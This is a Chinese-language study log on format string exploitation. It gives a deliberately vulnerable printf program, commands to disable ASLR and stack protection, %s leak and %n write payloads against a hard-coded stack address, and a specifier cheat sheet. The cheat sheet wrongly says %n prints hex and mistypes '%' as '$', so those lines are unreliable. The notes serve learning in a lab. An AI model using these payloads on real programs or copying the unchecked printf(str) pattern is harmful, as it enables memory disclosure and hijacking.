#學習記錄:格式化字符串漏洞利用
##1 背景
之前在實際漏洞利用的過程中,用過幾次格式化字符串,一直都是照葫蘆畫瓢,一直都是有點模棱兩可的,趁着有時間,趕緊把這個漏洞補上。
參考文章:http://www.secbox.cn/hacker/7482.html
http://www.freebuf.com/articles/network/62473.html
http://blog.csdn.net/immcss/article/details/6267849
##2 格式化字符串案例
###2.1 案例編譯
#include<stdio.h>
int main() {
char str[100];
fgets(str,100,stdin);
printf(str);
return 0;
}
編譯的過程要把ASLR關閉,使用root權限關閉,然後切換回普通權限
echo 0 > /proc/sys/kernel/randomize_va_space
使用普通的用戶組進行編譯,注意關閉堆棧保護
gcc -m32 -z execstack -fno-stack-protector format_str.c -o format_str -g
###2.2 案例分析
####2.2.1 探測堆棧分佈
當寫入ABCD時,內存分佈如下
可以看出寫入的內容是反向的
####2.2.2 使用%s泄漏內存info
通過上面的探測,我們發現,其實前面一段輸入已經寫入內存
比如,如果想要獲取地址0x44434241地址的值
ABCD輸入之後,探測到第七個%08x爲ABCD的值,
如果將這個%08d替換爲%s,實際上就相當於從0x44434241這個地址讀取一段內存,造成了內存泄漏的漏洞。
因此,如果我要獲取0xffffd4f0的值,通過上面的輸入對比可知,需要逆轉:
\xf0\xd4\xff\xff%08x%08x%08x%08x%08x%08x%s
然而,當從shell輸入之後,得到如下結果:程序崩潰了
後來發現shell 在讀取\x時會自動轉化爲\x因此難免崩潰了。
因此修改程序如下:
#include<stdio.h>
int main() {
int a = 0xffffd480;
int *p = (int*)a;
*p = 1234;
printf("\np=%s\n",p);
// char str[40] = "AAAA%08x%08x%08x%08x%08x";
char str[40] = "\x80\xd4\xff\xff%08x%08x%08x%s";
// fgets(str,100,stdin);
printf(str);
printf("\np=%s\n",p);
return 0;
}
####2.2.3 %n 寫入N
修改代碼爲:N = 4+ 3*8 = 28
#include<stdio.h>
int main() {
int a = 0xffffd480;
int *p = (int*)a;
*p = 1234;
printf("\np=%s\n",p);
// char str[40] = "AAAA%08x%08x%08x%08x%08x";
char str[40] = "\x80\xd4\xff\xff%08x%08x%08x%n";
// fgets(str,100,stdin);
printf(str);
printf("\np=%d\n",*p);
return 0;
}
經過探測,發現爲第四個%08x,修改爲某個可訪問地址獲得內存信息
通過控制位數,完成任意長度構造
char str[40] = "\x80\xd4\xff\xff%08x%08x%100x%n";
##3 備註
當然,這些都是最簡單的情況,
關閉了所有的保護,並且使用的32位的程序,
真正在實際中,遇到的要比這些複製的多,都是配合shellcode或者跳轉到system函數
###3.1 Format
%[標誌][輸出最小寬度][.精度][長度]類型
其中跟格式化字符串漏洞有關係的主要有以下幾點:
1、輸出最小寬度:用十進制整數來表示輸出的最少位數。若實際位數多於定義的寬度,則按實際位數輸出,若實際位數少於定義的寬度則補以空格或0。
2、類型:
d 表示輸出十進制整數*
s 從內存中讀取字符串*
x 輸出十六進制數*
n 輸出十六進制數
http://www.cnblogs.com/Ox9A82/p/5429099.html
32位
讀
'%{}$x'.format(index) // 讀4個字節
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)
寫
'%{}$n'.format(index) // 解引用,寫入四個字節
'%{}$hn'.format(index) // 解引用,寫入兩個字節
'%{}$hhn'.format(index) // 解引用,寫入一個字節
'%{}$lln'.format(index) // 解引用,寫入八個字節
64位
讀
'%{}$x'.format(index, num) // 讀4個字節
'%{}$lx'.format(index, num) // 讀8個字節
'%{}$p'.format(index) // 讀8個字節
'${}$s'.format(index)
寫
'%{}$n'.format(index) // 解引用,寫入四個字節
'%{}$hn'.format(index) // 解引用,寫入兩個字節
'%{}$hhn'.format(index) // 解引用,寫入一個字節
'%{}$lln'.format(index) // 解引用,寫入八個字節
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 棧上的第一個QWORD